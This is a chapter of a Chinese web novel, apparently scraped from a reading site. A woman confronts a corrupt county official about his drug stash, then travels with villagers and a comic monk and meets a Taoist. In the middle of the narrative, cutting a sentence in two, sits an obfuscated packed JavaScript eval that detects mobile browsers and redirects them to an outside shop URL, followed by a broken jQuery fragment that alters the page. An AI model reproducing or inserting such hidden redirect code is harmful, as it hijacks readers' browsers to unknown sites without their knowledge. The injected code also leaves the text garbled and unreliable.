4. 刁民
    夜里,何府。

    蝉鸣声不绝于耳,掩盖住柴房里的呻吟声。

    何文才半边脸高高肿起,额头遍是乌青,眼睛更是肿得睁不开。

    他趴倒在地上,连坐起来的力气都没有,想来是断了条腿。

    “吱呀——”

    门被人拉开。

    脚步声响起,何文才惊慌地往后挪动,却再一次牵动了伤口。

    “嘶——”

    他睁开眼,面前血红一片,视线狭窄而昏暗,他借着屋外的月光,只能看见一个模糊的人影。

    “刁民……都是刁民……”

    何文才无力地咒骂着。

    明珩无言看着柴堆里被捆成粽子的人。

    早听闻齐州民风彪悍,如今算是能亲眼得见。

    “确实都是刁民。”

    明珩靠近何文才,蹲下身来仔细端详他的惨状:“有你这样的‘好官’,只怕不做刁民,这景阳县的百姓就都活不下去了。”

    何文才发现来人是明珩,忍不住冷颤一下,稍许,又强装镇定。

    他咧着嘴冷笑:“殴打朝廷命官,你以为他们会有什么好下场?”

    明珩不在乎道:“法不责众,朝廷总不能为了这么点事荡平了景阳县不是?”

    “这么点事?”何文才声音陡然拔高,“我可是朝廷命官!”

    明珩嗤笑一声:“你这种官,比河里的王八还多,真以为朝廷会把你当回事?”

    柴房里瞬间安静下来。

    何文才气得嘴唇发抖:“你……”

    明珩摩挲着手里的纸包,开口道:“一没功绩,二没能力,没家世、没背景,你以为,除了我爹,谁会保你?”

    明珩话落,何文才像是想起了什么,顿时变得有底气起来。

    他冷哼一声:“谁告诉你我没背景?尔等不是要去州府告我?尽管去告!我倒是要瞧瞧,州府是向着我,还是向着你们这群刁民!”

    明珩想起晋氏夫妇皆是死于州府狱中,再看着何文才底气十足的模样,她眉头微蹙,展开手中纸包,向何文才面前送去。

    何文才以为明珩要出手打人,吓得连连后躲。

    一抹异香钻入鼻尖,何文才顿时浑身一震。

    “建昭新律,凡走私、贩卖陀罗散者,每有一两,杖责八十。”

    明珩将纸包叠好,重新收回袖中:“而你府中,足足有一箱。”

    “为官者,若触刑律,轻者革职流放,重者……”

    明珩抬眼看向何文才:“满门抄斩。”

    这四个字犹如丧钟敲响。

    何文才往后跌去,身体压住了伤口也感觉不到痛。

    细密的汗珠落下,他抬眼看向明珩。

    光线昏暗,何文才看不见面前人的表情。

    他试图恐吓:“你不敢告的……你不敢告……”

    明珩起身,睨着何文才:“拜你所赐,我如今不过一介孤女,身无牵挂,有何不敢?”

    “你知道这些是谁给我的吗!”

    何文才激动起来,想起身,却又重重摔了回去。

    他警告明珩:“你要是敢动我,别说几个县民了,就是屠光景阳县他们也做得!”

    何文才喘起粗气,死死瞪着明珩,牙关都在打着颤。

    明珩没再说话,转身,走出柴房。

    夏夜凉风袭人,天边繁星垂落。

    明珩抬头望着天边,心里的阴霾挥之不去。

    七年,不知齐州局势变了多少。

    若是一如当年,能在齐州这么只手遮天的,只有一家。

    翟扬,贺氏。

    *

    烈日当空,齐州境内,景阳官道上,十来个人低头缓行。

    脚下的土地被太阳晒得发烫,虚有浑身满身大汗,气喘吁吁地跟着县民们前行。

    他抹了把脸上的汗,将手里的扇子摇得飞快,眼神幽怨地盯着前方。

    队伍中间的驴车上,明珩靠着木箱,将手里的行述又翻过一页。

    察觉到队伍尾端的目光,明珩抬头,对上了虚有匆匆敛起的眼神。

    她蓦地笑了,眼底闪过一抹不易察觉的狡黠。

    稍许,她抬手,冲虚有招呼了两下。

    虚有顿时眼睛一亮,屁颠颠地跑过来。

    “累不累?”明珩歪头,神色关切地问道。

    虚有点头如捣蒜,光洁的脑袋在太阳底下闪闪发光。

    明珩被晃得眯了眯眼。

    真不知道这和尚的头是谁给剃的,光滑如明珠,有这手艺,若去京郊普罗寺,定能赚个盆满钵满。

    虚有只觉得头顶额外的烫,此刻他是羡慕极了明珩的一头黑发。

    “您为何一定要我跟着啊,这平不平冤的,我也帮不上忙啊……”

    明珩笑了,摇摇头:“你是证人,当然得去。而且,你虚有大师声名在外,跟着去了,我们景阳县也有面儿不是?”

    这么一大排人,到了州府不知道要待多少天,都是些穷老百姓,明珩自己也没什么钱,总得有人负担花销不是?

    虚有被明珩说的脸一红:“您这是折煞我了,您堂堂三清……”

    “欸——”明珩打断虚有的话,高深莫测地摇头:“不足为外人道也——”

    虚有顿时噤声。

    明珩挪了挪身子,拍拍身边,眸子里写满了关怀:“走累了吧,要不要上来坐?”

    虚有吞了吞唾沫,看了看明珩手下木板,又低头看看自己圆滚滚的肚子。

    这驴车是陈伯卖炭用的车,车身狭窄,坐一个明珩刚刚好,他若是上去,只怕是要将陈伯一家的生计给压断了。

    虚有失落地垂下脑袋:“不了……”

    明珩抿抿唇,故作可惜,转而又开始看手里的行述。

    日头越发大了,虚有被太阳晒得口渴难耐,他抬手遮眼,望向远处,希望能看间酒家饭馆,哪怕能有个小村子也好。

    地平线上暑气蒸腾,除了望不到尽头的官道外,空无一物。

    虚有有些丧气地放下手,准备找明珩借水喝。

    远处日光炎炎,官道正中忽然出现了一点黑影。

    虚有以为自己中了暑气,出了幻觉,他揉揉眼睛,看着那点黑影背后又晃出一点黑影。

    明珩将水壶递给虚有,却发现虚有正盯着远方的人发愣。

    来人牵着匹老马,身着青衣布袍,头戴道冠,眉目深邃,迎着烈日闲庭信步于大路中央。

    好个浓眉大眼的漂亮道士!

    明珩眼前一亮,却听见耳边一声悲嚎。

    “师祖!”

    虚有大喝一声,冲了出去。

    圆滚滚的身躯像是受了天大委屈,拼命地向来人奔去:“孙儿好想你啊!”

    明珩愣在原地,就连一边的县民都被眼前一幕雷得不知所措。

    一行人定在道上,看着不远处的祖孙团圆。

    道士身后的马被虚有惊得扬起前蹄,一声嘶鸣。

    周宴赶忙牵住缰绳,抚摸它的鬃毛:“好了……好了……小白别怕啊……”

    虚有涕泪横流:“师祖,您终于出现了。”

    周宴摸摸鼻尖,半晌想不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445173|141526||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起眼前的和尚是谁:“敢问阁下……”

    “是我!是我啊!”虚有几乎要上手:“我是虚有啊!”

    周宴眉心跳了跳,终于想起了前尘往事。

    他干咳一声:“啊……是虚有啊……为师这些年历劫不顺,忘了许多事……你怎么会在这里?”

    虚有激动起来:“说来话长了,但是师祖,我找到了您师妹!”

    明珩支着册子在脑袋上遮阳,一脸迷惑地看着远处的师徒二人向自己望来,心里生出不妙的感觉。

    虚有扯着周宴的手就往明珩的方向去,嘴里念叨着:“师姑奶奶神通广大,定能治好师祖你……”

    见着二人靠近,明珩警惕地从驴车上站起来。

    “师姑奶奶!您看看,这是谁!”

    虚有脸上洋溢着笑容,似在邀功。

    明珩的目光在虚有和周宴身上来回切换。

    他应该是谁?

    周宴看着明珩的眼光也诡异起来。

    什么奶奶?

    半晌无言,只有远处树荫下的鸟叫声不断。

    县民们也被这一变故惊得说不出话。

    “这是您师兄啊!”虚有急得一拍大腿,“你们这是多久没见了,怎么连同门都不认得了!”

    明珩想起了“三清真人”。

    一瞬间,所有的事都有了解释。

    这和尚不是走火入魔,是被人忽悠瘸了。

    周宴尴尬地咳了两声,假笑着看向明珩:“师妹?好久不见?”

    明珩皮笑肉不笑:“好久不见。”

    *

    明珩从未见过这么自来熟的人。

    短短两个时辰,周宴便和县民们打成一片。

    听说他们要去齐州府,这厮竟也厚着脸皮说自己也要去,说什么也要一道走。

    明珩站在马厩边上,冷眼看着周宴栓马绳。

    她当时看的清清楚楚,这人是迎着他们走来的,他们方向刚好相反。

    “为什么要跟着我们走?”

    周宴回头,这才看见一边阴森森的明珩。

    他开朗一笑:“因为顺路啊,贫道实在有些拮据,跟着大伙,这不是省些路费?”

    明珩鼻尖一声冷哼:“你不是有马?此处距齐州府,骑马半日就能赶到,不是更省路费?”

    “骑马?”

    周宴惊呼一声,像听到了多么惊骇世俗的话。

    他伸手将黑马的长脸扒过来对着明珩:“你看看它……你看看它……”

    马儿清澈的眼神和明珩对上,明珩眼角微抽,不明所以:“看什么?”

    周宴痛心疾首,看明珩的眼神好像在看一个无良奴隶主:“小白今年十二了啊!你怎么能让我骑它?你于心何忍!”

    明珩心里深吸口气,忍着没开口骂周宴:“这马你不骑,牵出来干什么?”

    周宴眼神慈爱起来,伸手替马顺顺毛:“小白最近心情不好,我陪它散散步。”

    明珩面上一僵,转身就走,不想跟周宴多说一句话。

    她活了两世,就没见过这么神经的。

    可身后人偏不消停。

    “欸!师妹!”

    周宴见明珩要走,连忙喊住她。

    明珩回头,眼神幽幽:“别叫我师妹。”

    周宴坦然一笑:“那敢问师妹芳名?”

    “晋岚。”

    回答完周宴,明珩头也不回地回到客栈。

    马厩边上,周宴看着明珩离去的背影眯了眯眼,转而又摸摸小白的头,苦笑:“我真是魔怔了,看谁都像她……”